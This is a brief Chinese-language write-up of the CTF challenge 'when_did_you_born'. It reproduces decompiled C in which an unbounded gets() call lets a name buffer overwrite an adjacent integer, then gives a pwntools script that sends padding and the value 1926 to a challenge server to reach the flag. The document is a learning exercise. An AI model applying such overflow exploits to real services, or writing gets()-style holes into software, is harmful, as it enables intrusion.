CGCTF_when_did_you_born
Writeup
拖入ida, main 中关键代码
int main() {
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h] // 这里 -20h, 可以双击进入看
unsigned int v5; // [rsp+8h] [rbp-18h] // -18h, v4值是在v5上面
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
...
if ( v5 == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets(&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
}
v5前面!=1926,后面要=1926才行。
由于 v4在v5上面。 使用v4覆盖v5地址。
代码
from pwn import *
io = remote('124.126.19.106',32143)
io.recvuntil("Your Birth")
io.sendline('123')
io.recvuntil("Your Name")
io.sendline(flat('a'*(0x20-0x18), p64(1926)))
io.interactive()
io.close()